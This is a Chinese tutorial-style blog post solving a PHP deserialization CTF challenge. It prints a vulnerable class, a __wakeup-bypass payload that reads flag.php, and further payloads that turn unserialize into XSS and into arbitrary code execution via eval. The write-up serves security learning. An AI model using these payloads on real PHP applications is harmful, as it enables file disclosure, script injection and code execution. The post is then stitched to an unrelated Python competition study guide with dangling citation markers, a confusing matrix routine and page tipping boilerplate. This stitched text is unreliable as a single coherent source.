PHP反序列化CTF例题

渗透学习

不安全的反序列化之PHP反序列化



前言

本系列用于记录本人渗透学习的过程,主要内容围绕Owasp TOP 10展开。

接上篇不安全的反序列化之反序列化基础用简单案例接触了PHP反序列化,但对该漏洞的利用和实际场景浅尝辄止 。这篇将会用代码审计的方式分析一道典型的存在PHP反序列化漏洞的案例,加深对魔术方法等相关知识的理解。另外,还会和xss跨站脚本的知识进行融合。

本文只做学习用途,严禁利用本文提到的技术进行非法攻击,否则后果自负,本人不承担任何责任。

一、CTF例题

学习案例

class SoFun{ 
    protected $file='index.php';
    function __destruct(){ 
      if(!empty($this->file)) {
       if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
          show_source(dirname (__FILE__).'/'.$this ->file);
       else      die('Wrong filename.');
      }}  
    function __wakeup(){ $this-> file='index.php'; } 
    public function __toString(){return '' ;}}     
    if (!isset($_GET['file'])){ show_source('index.php'); } 
    else{ 
       $file=base64_decode( $_GET['file']); 
       echo unserialize($file ); } 
?>   #<!--key in flag.php-->

代码审计:
根据提示,key在flag.php中,而想要获得文件中内容,只能靠语句show_source(dirname (__FILE__).'/'.$this ->file);
发现该题用到了__destruct等魔术方法,可以根据其性质进行漏洞利用(详见上一篇文章)
常规思路是利用反序列化的方式POST"file"参数将读取的文件从index.php替换成flag.php,然后利用__destruct的自动执行读取flag.php中的内容。
但是在反序列化执行时会自动执行__wakeup,其作用是将文件再设为index.php
解决方案:
显然我们需要利用一种方法绕过__wakeup方法,而当序列化字符串中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行。比如:
实际情况:O:7:”Student”:1:{S:4:”name”;s:8:”zhangsan”;}
Payload:O:7:”Student”:2:{S:4:”name”;s:8:”zhangsan”;}
Payload对象属性个数为2,而实际属性个数为1,那么就会掉入漏洞,从而跳过wakeup()方法。
Payload
根据上篇文章所学,易得反序列化语句为O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}
值得注意的是,file是protected属性,因此需要用\00*\00来表示,\00代表ascii为0的值。
此题还需要一次Base64编码,结果为:
Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
在这里插入图片描述
该PHP反序列化漏洞的案例其实来源于16年SugarCRM v6.5.23中
SugarCRM(http://www.sugarcrm.com/ )是一套开源的客户关系管理系统。研究者发现在其<=6.5.23的版本中存在反序列化漏洞,程序对攻击者恶意构造的序列化数据进行了反序列化的处理,从而使攻击者可以在未授权状态下执行任意代码。
有兴趣的可以点击了解

二、PHP反序列化漏洞和XSS跨站脚本

当尝试序列化一段xss代码的时候,当它进行反序列化的时候会自动执行xss

<?php
    $a="test"; //字符串
    $arr = array('j' => 'jack' ,'r' => 'rose'); //数组
    class A{
        public $test="<img src=1 οnerrοr=alert(1)>";
    }
    echo "序列化:";
    echo "</br>";
    $aa=serialize($a);
    print_r($aa);
    echo "</br>";
    $arr_a=serialize($arr);
    print_r($arr_a);
    echo "</br>";
    $class1 = new A(); //对象
    $class_a=serialize($class1);
    print_r($class_a);
    echo "<br/>";
    echo "反序列化:";
    echo "<br/>";
    print_r(unserialize($aa));
    echo "</br>";
    print_r(unserialize($arr_a));
    echo "</br>";
    print_r(unserialize($class_a));
?>

执行结果:
在这里插入图片描述
在__wakeup中一样存在类似的漏洞:

<?php
class A{
    var $test = "demo";
    function __wakeup(){
            echo $this->test;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

使用payload:O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}一样会造成XSS攻击

而如果__wakeup中不是echo $this->test; ,是eval(*)那么就是任意代码执行则会造成更严重的后果。
比如:

<?php
class A{
    var $test = "demo";
    function __wakeup(){
           eval($this->test);
    }
}
$b = new A();
$c = serialize($b);
echo $c;
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

构造payload:O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}即可获得php内置信息


总结

以上介绍了一道比较综合的CTF题目对PHP反序列化漏洞有一个更清晰化的认识,这道题难度不算高,但对代码审计能力有着一定的要求。

### Python 蓝桥杯 学习笔记 教程 #### 1. 必备基础知识 对于参加蓝桥杯竞赛的学生来说,掌握一些特定的知识点是非常重要的。例如,在Python版本的选择方面,如果使用的是3.9.0及以上版本,则可以直接利用`lcm`函数来计算最小公倍数[^1]。此外,`gcd`函数也得到了更新,支持通过传递多个参数的形式求解最大公约数。 #### 2. 基础练习题目分类 蓝桥杯的基础练习部分涵盖了多种类型的编程问题,这些问题可以帮助参赛者熟悉基本的数据结构和算法概念。以下是几个典型的例子: - **A+B问题 (BASIC-01)**:这是入门级的加法操作。 - **序列求和 (BASIC-02)**:涉及简单的数学公式应用。 - **圆的面积 (BASIC-03)**:实数输出的应用实例。 - **Fibonacci数列 (BASIC-04)**:数列生成以及取模运算的学习案例[^2]。 #### 3. 文件读取与处理技巧 某些题目可能涉及到文件的操作,比如从文本文件中读取数据并进行相应的处理。下面是一个简单示例展示如何逐行读取文件内容并将每行去掉换行符后存入列表: ```python lines = [] with open('example.txt', 'r') as f: for line in f.readlines(): lines.append(line.strip('\n')) ``` 这段代码展示了如何打开名为`example.txt`的文件,并将其每一行的内容去除末尾的换行符后再存储到列表`lines`当中[^4]。 #### 4. 矩阵乘法实现 矩阵运算是计算机科学中的一个重要主题,尤其是在解决线性代数相关的问题时尤为常见。这里给出了一种基于Python实现的矩阵相乘方法,该方法能够接受两个相同维度的方阵作为输入,并返回它们相乘后的结果矩阵。 ```python import copy def Matrix_Mul(N, M, a): if M == 0: for i in range(0, N): for j in range(0, N): if i == j: print(1, end=' ') else: print(0, end=' ') print('') exit(0) elif M == 1: for i in range(0, N): for j in range(0, N): print(a[i][j], end=' ') print('') else: b = copy.deepcopy(a) c = copy.deepcopy(a) sum_ab = 0 count = 0 while count < M - 1: for i in range(0, N): for j in range(0, N): for k in range(0, N): sum_ab += b[i][k] * a[k][j] c[i][j] = sum_ab sum_ab = 0 if count == M - 2: for i in range(0, N): for j in range(0, N): print(c[i][j], end=' ') print('') count += 1 b = copy.deepcopy(c) N, M = map(int, input().split()) a = [] for i in range(1, N + 1): a.append(list(map(int, input().split()))) Matrix_Mul(N, M, a) ``` 此段程序定义了一个用于执行矩阵幂运算的功能模块 `Matrix_Mul`,它接收三个参数分别是阶次、幂次以及初始矩阵本身[^5]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

bwxzdjn

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值